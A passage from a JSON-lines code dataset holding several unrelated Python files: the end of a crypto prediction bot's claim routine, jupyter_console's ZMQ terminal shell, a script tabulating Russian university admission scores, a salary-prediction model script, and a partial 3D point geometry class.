end\r\n for epk in user_rounds[0]:\r\n claimable = self.predictionContract.functions.claimable(epk, ADDRESS).call()\r\n refundable = self.predictionContract.functions.refundable(epk, ADDRESS).call()\r\n if claimable:\r\n wins.append(epk)\r\n elif refundable:\r\n refunds.append(epk)\r\n\r\n self.claim(wins)\r\n time.sleep(20)\r\n if refunds:\r\n self.refund(refunds)\r\n else:\r\n print(f'No refund available: {refunds}')\r\n\r\n print(f'\\nNumber of games: {len(user_rounds[0])}')\r\n print(f'Wins: {wins} || Number of wins: {len(wins)}')\r\n print(f'Refunds: {refunds} || Number of refunds: {len(refunds)}')\r\n print(Back.BLUE + f'Win rate: {round((len(wins)/(len(user_rounds[0])-len(refunds)))*100, 2)}%')\r\n print(Back.RESET)\r\n\r\n except Exception as e:\r\n print(Fore.RED + f'Claim/Refund fail - {e}')\r\n print(Fore.RESET)\r\n\r\n def data(self):\r\n try:\r\n data = self.predictionContract.functions.getUserRounds(ADDRESS, self.length, 1000).call()\r\n\r\n epk = data[0]\r\n for i in range(len(data[1])):\r\n _, a, _, _, b = data[1][i]\r\n st.append(a)\r\n wl.append(b)\r\n\r\n data = {\r\n \"lock time\": st,\r\n \"epoch\": epk,\r\n \"Win/Lose\": wl\r\n }\r\n return data\r\n except Exception as e:\r\n print(Fore.RED + f'Data fail - {e}')\r\n print(Fore.RESET)\r\n","repo_name":"komehz/CandleGenie-Prediction-Bot","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":6975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22224036627","text":"from __future__ import print_function\n\nimport base64\nimport bdb\nimport errno\nimport signal\nimport os\nimport sys\nimport time\nimport subprocess\nfrom getpass import getpass\nfrom io import BytesIO\n\ntry:\n from queue import Empty # Py 3\nexcept ImportError:\n from Queue import Empty # Py 2\n\nfrom zmq import ZMQError\n\nfrom IPython.core import page\nfrom jupyter_console.zmqhistory import ZMQHistoryManager\nfrom IPython.utils.warn import warn, error\nfrom IPython.utils import io\nfrom ipython_genutils.py3compat import string_types, input\nfrom traitlets import List, Enum, Any, Instance, Unicode, Float, Bool\nfrom ipython_genutils.tempdir import NamedFileInTemporaryDirectory\n\nfrom IPython.terminal.interactiveshell import TerminalInteractiveShell\nfrom jupyter_console.completer import ZMQCompleter\nfrom jupyter_console import __version__\n\nclass ZMQTerminalInteractiveShell(TerminalInteractiveShell):\n \"\"\"A subclass of TerminalInteractiveShell that uses the 0MQ kernel\"\"\"\n _executing = False\n _execution_state = Unicode('')\n _pending_clearoutput = False\n kernel_banner = Unicode('')\n kernel_timeout = Float(60, config=True,\n help=\"\"\"Timeout for giving up on a kernel (in seconds).\n\n On first connect and restart, the console tests whether the\n kernel is running and responsive by sending kernel_info_requests.\n This sets the timeout in seconds for how long the kernel can take\n before being presumed dead.\n \"\"\"\n )\n\n image_handler = Enum(('PIL', 'stream', 'tempfile', 'callable'),\n config=True, allow_none=True, help=\n \"\"\"\n Handler for image type output. This is useful, for example,\n when connecting to the kernel in which pylab inline backend is\n activated. There are four handlers defined. 'PIL': Use\n Python Imaging Library to popup image; 'stream': Use an\n external program to show the image. Image will be fed into\n the STDIN of the program. You will need to configure\n `stream_image_handler`; 'tempfile': Use an external program to\n show the image. Image will be saved in a temporally file and\n the program is called with the temporally file. You will need\n to configure `tempfile_image_handler`; 'callable': You can set\n any Python callable which is called with the image data. You\n will need to configure `callable_image_handler`.\n \"\"\"\n )\n\n stream_image_handler = List(config=True, help=\n \"\"\"\n Command to invoke an image viewer program when you are using\n 'stream' image handler. This option is a list of string where\n the first element is the command itself and reminders are the\n options for the command. Raw image data is given as STDIN to\n the program.\n \"\"\"\n )\n\n tempfile_image_handler = List(config=True, help=\n \"\"\"\n Command to invoke an image viewer program when you are using\n 'tempfile' image handler. This option is a list of string\n where the first element is the command itself and reminders\n are the options for the command. You can use {file} and\n {format} in the string to represent the location of the\n generated image file and image format.\n \"\"\"\n )\n\n callable_image_handler = Any(config=True, help=\n \"\"\"\n Callable object called via 'callable' image handler with one\n argument, `data`, which is `msg[\"content\"][\"data\"]` where\n `msg` is the message from iopub channel. For exmaple, you can\n find base64 encoded PNG data as `data['image/png']`.\n \"\"\"\n )\n\n mime_preference = List(\n default_value=['image/png', 'image/jpeg', 'image/svg+xml'],\n config=True, help=\n \"\"\"\n Preferred object representation MIME type in order. First\n matched MIME type will be used.\n \"\"\"\n )\n\n manager = Instance('jupyter_client.KernelManager', allow_none=True)\n client = Instance('jupyter_client.KernelClient', allow_none=True)\n def _client_changed(self, name, old, new):\n self.session_id = new.session.session\n session_id = Unicode()\n\n def init_completer(self):\n \"\"\"Initialize the completion machinery.\n\n This creates completion machinery that can be used by client code,\n either interactively in-process (typically triggered by the readline\n library), programmatically (such as in test suites) or out-of-process\n (typically over the network by remote frontends).\n \"\"\"\n from IPython.core.completerlib import (module_completer,\n magic_run_completer, cd_completer)\n\n self.Completer = ZMQCompleter(self, self.client, config=self.config)\n\n\n self.set_hook('complete_command', module_completer, str_key = 'import')\n self.set_hook('complete_command', module_completer, str_key = 'from')\n self.set_hook('complete_command', magic_run_completer, str_key = '%run')\n self.set_hook('complete_command', cd_completer, str_key = '%cd')\n\n # Only configure readline if we truly are using readline. IPython can\n # do tab-completion over the network, in GUIs, etc, where readline\n # itself may be absent\n if self.has_readline:\n self.set_readline_completer()\n\n def run_cell(self, cell, store_history=True):\n \"\"\"Run a complete IPython cell.\n\n Parameters\n ----------\n cell : str\n The code (including IPython code such as %magic functions) to run.\n store_history : bool\n If True, the raw and translated cell will be stored in IPython's\n history. For user code calling back into IPython's machinery, this\n should be set to False.\n \"\"\"\n if (not cell) or cell.isspace():\n # pressing enter flushes any pending display\n self.handle_iopub()\n return\n\n # flush stale replies, which could have been ignored, due to missed heartbeats\n while self.client.shell_channel.msg_ready():\n self.client.shell_channel.get_msg()\n # execute takes 'hidden', which is the inverse of store_hist\n msg_id = self.client.execute(cell, not store_history)\n\n # first thing is wait for any side effects (output, stdin, etc.)\n self._executing = True\n self._execution_state = \"busy\"\n while self._execution_state != 'idle' and self.client.is_alive():\n try:\n self.handle_input_request(msg_id, timeout=0.05)\n except Empty:\n # display intermediate print statements, etc.\n self.handle_iopub(msg_id)\n except ZMQError as e:\n # Carry on if polling was interrupted by a signal\n if e.errno != errno.EINTR:\n raise\n\n # after all of that is done, wait for the execute reply\n while self.client.is_alive():\n try:\n self.handle_execute_reply(msg_id, timeout=0.05)\n except Empty:\n pass\n else:\n break\n self._executing = False\n\n #-----------------\n # message handlers\n #-----------------\n\n def handle_execute_reply(self, msg_id, timeout=None):\n msg = self.client.shell_channel.get_msg(block=False, timeout=timeout)\n if msg[\"parent_header\"].get(\"msg_id\", None) == msg_id:\n\n self.handle_iopub(msg_id)\n\n content = msg[\"content\"]\n status = content['status']\n\n if status == 'aborted':\n self.write('Aborted\\n')\n return\n elif status == 'ok':\n # handle payloads\n for item in content.get(\"payload\", []):\n source = item['source']\n if source == 'page':\n page.page(item['data']['text/plain'])\n elif source == 'set_next_input':\n self.set_next_input(item['text'])\n elif source == 'ask_exit':\n self.keepkernel = item.get('keepkernel', False)\n self.ask_exit()\n\n elif status == 'error':\n pass\n\n self.execution_count = int(content[\"execution_count\"] + 1)\n\n include_other_output = Bool(False, config=True,\n help=\"\"\"Whether to include output from clients\n other than this one sharing the same kernel.\n\n Outputs are not displayed until enter is pressed.\n \"\"\"\n )\n other_output_prefix = Unicode(\"[remote] \", config=True,\n help=\"\"\"Prefix to add to outputs coming from clients other than this one.\n\n Only relevant if include_other_output is True.\n \"\"\"\n )\n\n def from_here(self, msg):\n \"\"\"Return whether a message is from this session\"\"\"\n return msg['parent_header'].get(\"session\", self.session_id) == self.session_id\n\n def include_output(self, msg):\n \"\"\"Return whether we should include a given output message\"\"\"\n from_here = self.from_here(msg)\n if msg['msg_type'] == 'execute_input':\n # only echo inputs not from here\n return self.include_other_output and not from_here\n\n if self.include_other_output:\n return True\n else:\n return from_here\n\n def handle_iopub(self, msg_id=''):\n \"\"\"Process messages on the IOPub channel\n\n This method consumes and processes messages on the IOPub channel,\n such as stdout, stderr, execute_result and status.\n\n It only displays output that is caused by this session.\n \"\"\"\n while self.client.iopub_channel.msg_ready():\n sub_msg = self.client.iopub_channel.get_msg()\n msg_type = sub_msg['header']['msg_type']\n parent = sub_msg[\"parent_header\"]\n\n if self.include_output(sub_msg):\n if msg_type == 'status':\n self._execution_state = sub_msg[\"content\"][\"execution_state\"]\n elif msg_type == 'stream':\n if sub_msg[\"content\"][\"name\"] == \"stdout\":\n if self._pending_clearoutput:\n print(\"\\r\", file=io.stdout, end=\"\")\n self._pending_clearoutput = False\n print(sub_msg[\"content\"][\"text\"], file=io.stdout, end=\"\")\n io.stdout.flush()\n elif sub_msg[\"content\"][\"name\"] == \"stderr\":\n if self._pending_clearoutput:\n print(\"\\r\", file=io.stderr, end=\"\")\n self._pending_clearoutput = False\n print(sub_msg[\"content\"][\"text\"], file=io.stderr, end=\"\")\n io.stderr.flush()\n\n elif msg_type == 'execute_result':\n if self._pending_clearoutput:\n print(\"\\r\", file=io.stdout, end=\"\")\n self._pending_clearoutput = False\n self.execution_count = int(sub_msg[\"content\"][\"execution_count\"])\n if not self.from_here(sub_msg):\n sys.stdout.write(self.other_output_prefix)\n format_dict = sub_msg[\"content\"][\"data\"]\n self.handle_rich_data(format_dict)\n\n # taken from DisplayHook.__call__:\n hook = self.displayhook\n hook.start_displayhook()\n hook.write_output_prompt()\n hook.write_format_data(format_dict)\n hook.log_output(format_dict)\n hook.finish_displayhook()\n\n elif msg_type == 'display_data':\n data = sub_msg[\"content\"][\"data\"]\n handled = self.handle_rich_data(data)\n if not handled:\n if not self.from_here(sub_msg):\n sys.stdout.write(self.other_output_prefix)\n # if it was an image, we handled it by now\n if 'text/plain' in data:\n print(data['text/plain'])\n\n elif msg_type == 'execute_input':\n content = sub_msg['content']\n self.execution_count = content['execution_count']\n if not self.from_here(sub_msg):\n sys.stdout.write(self.other_output_prefix)\n sys.stdout.write(self.prompt_manager.render('in'))\n sys.stdout.write(content['code'])\n\n elif msg_type == 'clear_output':\n if sub_msg[\"content\"][\"wait\"]:\n self._pending_clearoutput = True\n else:\n print(\"\\r\", file=io.stdout, end=\"\")\n\n elif msg_type == 'error':\n for frame in sub_msg[\"content\"][\"traceback\"]:\n print(frame, file=io.stderr)\n\n\n _imagemime = {\n 'image/png': 'png',\n 'image/jpeg': 'jpeg',\n 'image/svg+xml': 'svg',\n }\n\n def handle_rich_data(self, data):\n for mime in self.mime_preference:\n if mime in data and mime in self._imagemime:\n self.handle_image(data, mime)\n return True\n\n def handle_image(self, data, mime):\n handler = getattr(\n self, 'handle_image_{0}'.format(self.image_handler), None)\n if handler:\n handler(data, mime)\n\n def handle_image_PIL(self, data, mime):\n if mime not in ('image/png', 'image/jpeg'):\n return\n import PIL.Image\n raw = base64.decodestring(data[mime].encode('ascii'))\n img = PIL.Image.open(BytesIO(raw))\n img.show()\n\n def handle_image_stream(self, data, mime):\n raw = base64.decodestring(data[mime].encode('ascii'))\n imageformat = self._imagemime[mime]\n fmt = dict(format=imageformat)\n args = [s.format(**fmt) for s in self.stream_image_handler]\n with open(os.devnull, 'w') as devnull:\n proc = subprocess.Popen(\n args, stdin=subprocess.PIPE,\n stdout=devnull, stderr=devnull)\n proc.communicate(raw)\n\n def handle_image_tempfile(self, data, mime):\n raw = base64.decodestring(data[mime].encode('ascii'))\n imageformat = self._imagemime[mime]\n filename = 'tmp.{0}'.format(imageformat)\n with NamedFileInTemporaryDirectory(filename) as f, \\\n open(os.devnull, 'w') as devnull:\n f.write(raw)\n f.flush()\n fmt = dict(file=f.name, format=imageformat)\n args = [s.format(**fmt) for s in self.tempfile_image_handler]\n subprocess.call(args, stdout=devnull, stderr=devnull)\n\n def handle_image_callable(self, data, mime):\n self.callable_image_handler(data)\n\n def handle_input_request(self, msg_id, timeout=0.1):\n \"\"\" Method to capture raw_input\n \"\"\"\n req = self.client.stdin_channel.get_msg(timeout=timeout)\n # in case any iopub came while we were waiting:\n self.handle_iopub(msg_id)\n if msg_id == req[\"parent_header\"].get(\"msg_id\"):\n # wrap SIGINT handler\n real_handler = signal.getsignal(signal.SIGINT)\n def double_int(sig,frame):\n # call real handler (forwards sigint to kernel),\n # then raise local interrupt, stopping local raw_input\n real_handler(sig,frame)\n raise KeyboardInterrupt\n signal.signal(signal.SIGINT, double_int)\n content = req['content']\n read = getpass if content.get('password', False) else input\n try:\n raw_data = read(content[\"prompt\"])\n except EOFError:\n # turn EOFError into EOF character\n raw_data = '\\x04'\n except KeyboardInterrupt:\n sys.stdout.write('\\n')\n return\n finally:\n # restore SIGINT handler\n signal.signal(signal.SIGINT, real_handler)\n\n # only send stdin reply if there *was not* another request\n # or execution finished while we were reading.\n if not (self.client.stdin_channel.msg_ready() or self.client.shell_channel.msg_ready()):\n self.client.input(raw_data)\n\n def mainloop(self, display_banner=False):\n self.keepkernel = False\n while True:\n try:\n self.interact(display_banner=display_banner)\n #self.interact_with_readline()\n # XXX for testing of a readline-decoupled repl loop, call\n # interact_with_readline above\n break\n except KeyboardInterrupt:\n # this should not be necessary, but KeyboardInterrupt\n # handling seems rather unpredictable...\n self.write(\"\\nKeyboardInterrupt in interact()\\n\")\n\n if self.keepkernel and not self.own_kernel:\n print('keeping kernel alive')\n elif self.keepkernel and self.own_kernel :\n print(\"owning kernel, cannot keep it alive\")\n self.client.shutdown()\n else :\n print(\"Shutting down kernel\")\n self.client.shutdown()\n\n def _banner1_default(self):\n return \"Jupyter Console {version}\\n\".format(version=__version__)\n\n def compute_banner(self):\n super(ZMQTerminalInteractiveShell, self).compute_banner()\n if self.client and not self.kernel_banner:\n msg_id = self.client.kernel_info()\n while True:\n try:\n reply = self.client.get_shell_msg(timeout=1)\n except Empty:\n break\n else:\n if reply['parent_header'].get('msg_id') == msg_id:\n self.kernel_banner = reply['content'].get('banner', '')\n break\n self.banner += self.kernel_banner\n\n def wait_for_kernel(self, timeout=None):\n \"\"\"method to wait for a kernel to be ready\"\"\"\n tic = time.time()\n self.client.hb_channel.unpause()\n while True:\n msg_id = self.client.kernel_info()\n reply = None\n while True:\n try:\n reply = self.client.get_shell_msg(timeout=1)\n except Empty:\n break\n else:\n if reply['parent_header'].get('msg_id') == msg_id:\n return True\n if timeout is not None \\\n and (time.time() - tic) > timeout \\\n and not self.client.hb_channel.is_beating():\n # heart failed\n return False\n return True\n\n def interact(self, display_banner=None):\n \"\"\"Closely emulate the interactive Python console.\"\"\"\n\n # batch run -> do not interact\n if self.exit_now:\n return\n\n if display_banner is None:\n display_banner = self.display_banner\n\n if isinstance(display_banner, string_types):\n self.show_banner(display_banner)\n elif display_banner:\n self.show_banner()\n\n more = False\n\n # run a non-empty no-op, so that we don't get a prompt until\n # we know the kernel is ready. This keeps the connection\n # message above the first prompt.\n if not self.wait_for_kernel(self.kernel_timeout):\n error(\"Kernel did not respond\\n\")\n return\n\n if self.has_readline:\n self.readline_startup_hook(self.pre_readline)\n hlen_b4_cell = self.readline.get_current_history_length()\n else:\n hlen_b4_cell = 0\n # exit_now is set by a call to %Exit or %Quit, through the\n # ask_exit callback.\n\n while not self.exit_now:\n if not self.client.is_alive():\n # kernel died, prompt for action or exit\n\n action = \"restart\" if self.manager else \"wait for restart\"\n ans = self.ask_yes_no(\"kernel died, %s ([y]/n)?\" % action, default='y')\n if ans:\n if self.manager:\n self.manager.restart_kernel(True)\n self.wait_for_kernel(self.kernel_timeout)\n else:\n self.exit_now = True\n continue\n try:\n # protect prompt block from KeyboardInterrupt\n # when sitting on ctrl-C\n self.hooks.pre_prompt_hook()\n if more:\n try:\n prompt = self.prompt_manager.render('in2')\n except Exception:\n self.showtraceback()\n if self.autoindent:\n self.rl_do_indent = True\n\n else:\n try:\n prompt = self.separate_in + self.prompt_manager.render('in')\n except Exception:\n self.showtraceback()\n\n line = self.raw_input(prompt)\n if self.exit_now:\n # quick exit on sys.std[in|out] close\n break\n if self.autoindent:\n self.rl_do_indent = False\n\n except KeyboardInterrupt:\n #double-guard against keyboardinterrupts during kbdint handling\n try:\n self.write('\\n' + self.get_exception_only())\n source_raw = self.input_splitter.raw_reset()\n hlen_b4_cell = self._replace_rlhist_multiline(source_raw, hlen_b4_cell)\n more = False\n except KeyboardInterrupt:\n pass\n except EOFError:\n if self.autoindent:\n self.rl_do_indent = False\n if self.has_readline:\n self.readline_startup_hook(None)\n self.write('\\n')\n self.exit()\n except bdb.BdbQuit:\n warn('The Python debugger has exited with a BdbQuit exception.\\n'\n 'Because of how pdb handles the stack, it is impossible\\n'\n 'for IPython to properly format this particular exception.\\n'\n 'IPython will resume normal operation.')\n except:\n # exceptions here are VERY RARE, but they can be triggered\n # asynchronously by signal handlers, for example.\n self.showtraceback()\n else:\n try:\n self.input_splitter.push(line)\n more = self.input_splitter.push_accepts_more()\n except SyntaxError:\n # Run the code directly - run_cell takes care of displaying\n # the exception.\n more = False\n if (self.SyntaxTB.last_syntax_error and\n self.autoedit_syntax):\n self.edit_syntax_error()\n if not more:\n source_raw = self.input_splitter.raw_reset()\n hlen_b4_cell = self._replace_rlhist_multiline(source_raw, hlen_b4_cell)\n self.run_cell(source_raw)\n\n\n # Turn off the exit flag, so the mainloop can be restarted if desired\n self.exit_now = False\n\n def init_history(self):\n \"\"\"Sets up the command history. \"\"\"\n self.history_manager = ZMQHistoryManager(client=self.client)\n self.configurables.append(self.history_manager)\n\n","repo_name":"pyparallel/pyparallel","sub_path":"Lib/site-packages/jupyter_console-4.0.3-py3.3.egg/jupyter_console/interactiveshell.py","file_name":"interactiveshell.py","file_ext":"py","file_size_in_byte":23711,"program_lang":"python","lang":"en","doc_type":"code","stars":579,"dataset":"github-code","pt":"67"} +{"seq_id":"3981734384","text":"import pandas as pd\nimport xlsxwriter\nimport numpy as np\nimport matplotlib.pyplot as plt\n \nspecialty = {'Образовательная программа специалитета': ['Компьютерная безопасность', ' ', ' ', 'Актёр', ' ', ' ', ' '],\n 'Состав вступительных испытаний': ['Информатика и ИКТ', 'Математика', 'Русский язык', 'Творческое испытание', 'Собеседование', 'Литература', 'Русский язык'], \n 'Минимальные баллы': [65, 65, 60, 60, 60, 50, 60]}\n\nbachelor_matematic = {'Образовательная программа бакалавриата': ['Математика', ' ', ' ', 'НИУ ВШЭ и Центр педагогического мастерства', ' ', ' '],\n 'Состав вступительных испытаний': ['Математика', 'Физика/ Информатика', 'Русский язык', 'Математика', 'Физика/ Информатика', 'Русский язык'], \n 'Минимальные баллы': [75, 65, 60, 75, 65, 60]}\n\nbachelor_informatic = {'Образовательная программа бакалавриата': ['Прикладная математика и информатика', ' ', ' ', 'Прикладной анализ данных', ' ', ' ', 'Компьютерные науки и анализ данных', ' ', ' '],\n 'Состав вступительных испытаний': ['Математика', 'Информатика и ИКТ', 'Русский язык', 'Математика', 'Иностранный язык/Информатика', 'Русский язык', 'Математика', 'Информатика и ИКТ', 'Русский язык'], \n 'Минимальные баллы': [75, 75, 60, 70, 70, 60, 65, 65, 60]}\n\nbachelor_fisica = {'Образовательная программа бакалавриата': ['Физика', ' ', ' '],\n 'Состав вступительных испытаний': ['Физика', 'Математика', 'Русский язык'], \n 'Минимальные баллы': [70, 70, 60]}\n\nbachelor_ikt = {'Образовательная программа бакалавриата': ['Информатика и вычислительная техника', ' ', ' '],\n 'Состав вступительных испытаний': ['Физика/ Информатика', 'Математика', 'Русский язык'], \n 'Минимальные баллы': [60, 65, 60]}\n\nbachelor_programms = {'Образовательная программа бакалавриата': ['Программная инженерия', ' ', ' '],\n 'Состав вступительных испытаний': ['Информатика и ИКТ', 'Математика', 'Русский язык'], \n 'Минимальные баллы': [70, 70, 60]}\n\nbachelor_ib = {'Образовательная программа бакалавриата': ['Информационная безопасность', ' ', ' '],\n 'Состав вступительных испытаний': ['Физика/Информатика', 'Математика', 'Русский язык'], \n 'Минимальные баллы': [65, 65, 60]}\n\nbachelor_system = {'Образовательная программа бакалавриата': ['Инфокоммуникационные технологии и системы связиь', ' ', ' '],\n 'Состав вступительных испытаний': ['Физика/Информатика', 'Математика', 'Русский язык'], \n 'Минимальные баллы': [60, 65, 60]}\n\nbachelor_bisnes = {'Образовательная программа бакалавриата': ['Бизнес-информатика', ' ', ' '],\n 'Состав вступительных испытаний': ['Математика', 'Информатика и ИКТ', 'Русский язык'], \n 'Минимальные баллы': [70, 75, 65]}\n\nbachelor_design = {'Образовательная программа бакалавриата': ['Дизайн', ' ', ' '],\n 'Состав вступительных испытаний': ['Творческое испытание', 'Русский язык', 'Литература'], \n 'Минимальные баллы': [60, 60, 60]}\n\nbachelor_urist = {'Образовательная программа бакалавриата': ['Правовое сопровождение бизнеса', ' ', ' '],\n 'Состав вступительных испытаний': ['Русский язык', 'Обществознание', 'Информатика и ИКТ'], \n 'Минимальные баллы': [60, 60, 60]}\n\ndf_specialty = pd.DataFrame(specialty)\ndf_bachelorbachelor_matematic = pd.DataFrame(bachelor_matematic)\ndf_bachelor_informatic = pd.DataFrame(bachelor_informatic)\ndf_bachelor_fisica = pd.DataFrame(bachelor_fisica)\ndf_bachelor_ikt = pd.DataFrame(bachelor_ikt)\ndf_bachelor_programms = pd.DataFrame(bachelor_programms)\ndf_bachelor_ib = pd.DataFrame(bachelor_ib)\ndf_bachelor_system = pd.DataFrame(bachelor_system)\ndf_bachelor_bisnes = pd.DataFrame(bachelor_bisnes)\ndf_bachelor_design = pd.DataFrame(bachelor_design)\ndf_bachelor_urist = pd.DataFrame(bachelor_urist)\n\ndef write():\n with pd.ExcelWriter('result.xlsx', engine='xlsxwriter') as writer:\n df_specialty.to_excel(writer, sheet_name='Программы специалитета')\n df_bachelorbachelor_matematic.to_excel(writer, sheet_name='Математика')\n df_bachelor_informatic.to_excel(writer, sheet_name='Прикладная математика')\n df_bachelor_fisica.to_excel(writer, sheet_name='Физика')\n df_bachelor_ikt.to_excel(writer, sheet_name='Информатика')\n df_bachelor_programms.to_excel(writer, sheet_name='Программная инженерия')\n df_bachelor_ib.to_excel(writer, sheet_name='Информационная безопасность')\n df_bachelor_system.to_excel(writer, sheet_name='Инфокоммуникационные технологии')\n df_bachelor_bisnes.to_excel(writer, sheet_name='Бизнес-информатика')\n df_bachelor_design.to_excel(writer, sheet_name='Дизайн')\n df_bachelor_urist.to_excel(writer, sheet_name='Юриспруденция')\n\ndef statistic():\n vals = [65.9, 64.7, 64.4, 60.8, 64.4, 61.1, 60]\n labels = [\"Математика\", \"Иностранный язык\", \"Информатика\", \"Русский язык\", \"Физика\", \"Обществознание\", \"Литература\"]\n plt.plot(labels, vals, color='red', marker='o', markersize=7)\n plt.bar(labels, vals, label='Средний балл', alpha=0.5)\n plt.ylabel('Средний балл') \n plt.title('Средний проходной балл по предметам')\n plt.show()","repo_name":"DmALMakarov/University_parser","sub_path":"data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":7327,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17809711522","text":"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndf=pd.read_csv('salary_data_cleaned.csv')\ndf.columns\n\ndf_model1 = df[['Avg Salary(K)','Rating','Size','Type of ownership', 'Industry', 'Sector', 'Revenue','Num_competitors','Python', 'SQL','Hourly', 'Employer_Provided_Salary','State','Job_Desc_Len','Company_Age_Years']]\n\n#dummy data\ndum = pd.get_dummies(df_model1)\n\n#train test split\n\nfrom sklearn.model_selection import train_test_split\nX = dum.drop('Avg Salary(K)', axis = 1)\ny = dum['Avg Salary(K)'].values\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n#model building\n## linear regression and lasso\n\nfrom sklearn.linear_model import LinearRegression , Lasso\nfrom sklearn.model_selection import cross_val_score\n\nlm = LinearRegression()\nlm.fit(X_train,y_train)\n\nnp.mean(cross_val_score(lm,X_train, y_train, scoring = 'neg_mean_absolute_error' , cv = 4))\n\nlm_l=Lasso(alpha = 0.12)\nlm_l.fit(X_train, y_train)\nnp.mean(cross_val_score(lm_l,X_train, y_train, scoring = 'neg_mean_absolute_error' , cv = 4))\n\nalpha=[]\nerror=[]\nfor i in range(1,100):\n alpha.append(i/100)\n lml=Lasso(alpha=(i/100))\n error.append(np.mean(cross_val_score(lml,X_train, y_train, scoring = 'neg_mean_absolute_error' , cv = 4)))\nplt.plot(alpha,error)\nerr = tuple(zip(alpha,error))\ndf_err = pd.DataFrame(err,columns=['alpha','error'])\ndf_err[df_err.error == max(df_err.error)]\n\n##random forest\n\nfrom sklearn.ensemble import RandomForestRegressor\nrf = RandomForestRegressor()\nnp.mean(cross_val_score(rf, X_train, y_train, scoring = 'neg_mean_absolute_error', cv = 4))\n\n#models tuning\n\nfrom sklearn.model_selection import GridSearchCV\nparameters = {'n_estimators':range(10,100,10), 'criterion':('mse', 'mae'), 'max_features':('auto','sqrt','log2')}\ngs = GridSearchCV(rf, parameters, scoring = 'neg_mean_absolute_error', cv = 4)\ngs.fit(X_train, y_train)\ngs.best_score_\ngs.best_params_\n\n#testing\nfrom sklearn.metrics import mean_absolute_error\ntpred_lm = lm.predict(X_test)\ntpred_lml = lm_l.predict(X_test)\ntpred_ref = gs.best_estimator_.predict(X_test)\n\ns={'score for linear regression' : tpred_lm, 'score for lasso': tpred_lml, 'score for random forest' : tpred_ref}\n\nfor k,v in s.items(): \n print(k,mean_absolute_error(y_test, v))\n \nimport pickle\npickl = {'model' : gs.best_estimator_}\npickle.dump( pickl, open('model_file'+'.p', 'wb') )\n","repo_name":"mahmoudbst/Data-scientists-salary","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33041443849","text":"import math\n\nclass Punto3:\n\tdef __init__(self, *args, **coords):\n\t\tself.x = coords['x'] if 'x' in coords else 0\n\t\tself.y = coords['y'] if 'y' in coords else 0\n\t\tself.z = coords['z'] if 'z' in coords else 0\n\t\tif len(args) == 3:\n\t\t\tself.x = args[0]\n\t\t\tself.y = args[1]\n\t\t\tself.z = args[2]\n\t\t\t\t\n\n\tdef __str__( self ):\n\t\treturn '(%.4f, %.4f, %.4f)' % (self.x, self.y, self.z)\n\tdef __repr__(self):\n\t\treturn str(self)\n\tdef __add__(self, punto):\n\t\treturn Punto3(self.x + punto.x, self.y + punto.y, self.z + punto.z)\n\n\tdef __sub__(self, punto):\n\t\treturn Punto3(self.x - punto.x, self.y - punto.y, self.z - punto.z)\n\n\tdef __mul__(self, factor):\n\t\treturn Punto3(self.x * factor, self.y * factor, self.z * factor)\n\n\n\tdef __div__(self, factor):\n\t\treturn Punto3(self.x / factor, self.y / factor, self.z/factor)\n\n\tdef distancia(self, punto):\n\t\treturn self - punto\n\n\tdef copy(self):\n\t\treturn Punto3(self.x, self.y, self.z)\n\n\tdef crossProduct(v1, v2):\n\t\tx = v1.y*v2.z - v1.z*v2.y\n\t\ty = v1.z*v2.x - v1.x*v2.z\n\t\tz = v1.x*v2.y - v1.y*v2.x\n\t\treturn Punto3(x,y,z)\n\n\tdef norma(self):\n\t\treturn math.sqrt(self.x**2 + self.y**2 + self.z**2)\n\n\n\t# Calcula el angulo de dos puntos respecto al origen\n\tdef angulo(self, punto3):\n\t\t# Para medir los angulos hay que ir poniendo las coordenadas a 0\n\t\tcross = Punto3.crossProduct(self, punto3)\n\n\t\tvector1 = self.copy()\n\t\tvector2 = punto3.copy()\n\t\tvector1.x = 0\n\t\tvector2.x = 0\n\t\tnum = vector1.z * vector2.z + vector1.y * vector2.y\n\t\tden = vector1.norma() * vector2.norma()\n\t\tanguloX = 0\t\t\n\t\tif den != 0:\n\t\t\tanguloX = math.degrees(math.acos(num/den))\n\t\tif cross.x < 0:\n\t\t\tanguloX = - anguloX\n\n\n\t\tvector1 = self.copy()\n\t\tvector2 = punto3.copy()\n\t\tvector1.y = 0\n\t\tvector2.y = 0\n\t\tnum = vector1.x * vector2.x + vector1.z * vector2.z\n\t\tden = vector1.norma() * vector2.norma()\n\t\tanguloY = 0\n\t\tif den != 0:\n\t\t\tanguloY = math.degrees(math.acos(num/den))\n\t\tif cross.y < 0:\n\t\t\tanguloY = - anguloY\n\n\t\tvector1 = self.copy()\n\t\tvector2 = punto3.copy()\n\t\tvector1.z = 0\n\t\tvector2.z = 0\n\t\tnum = vector1.x * vector2.x + vector1.y * vector2.y\n\t\tden = vector1.norma() * vector2.norma()\n\t\tanguloZ = 0\n\t\tif den != 0:\n\t\t\tmenor = min(1, num/den)\n\t\t\tanguloZ = math.degrees(math.acos(menor))\n\t\tif cross.z > 0:\n\t\t\tanguloZ = - anguloZ\n\n\n\t\treturn Punto3(anguloX, anguloY, anguloZ)\n\n\t\t\n\n\n\t# Agujas del reloj = negativo\n\tdef rotacionZ(self, rotacion):\n\t\trotacion = - math.radians(rotacion)\n\n\t\t# rotacionZ\n\t\tx = self.x * math.cos(rotacion) - self.y * math.sin(rotacion)\n\t\ty = self.x * math.sin(rotacion) + self.y * math.cos(rotacion)\n\t\tz = self.z\n\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.z = z\n\n\tdef rotacionX(self, rotacion):\n\t\trotacion = math.radians(rotacion)\n\n\t\t# rotacionX\n\t\tx = self.x\n\t\ty = self.y * math.cos(rotacion) - self.z * math.sin(rotacion)\n\t\tz = self.y * math.sin(rotacion) + self.z * math.cos(rotacion)\n\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.z = z\n\n\tdef rotacionY(self, rotacion):\n\t\trotacion = math.radians(rotacion)\n\n\t\t# 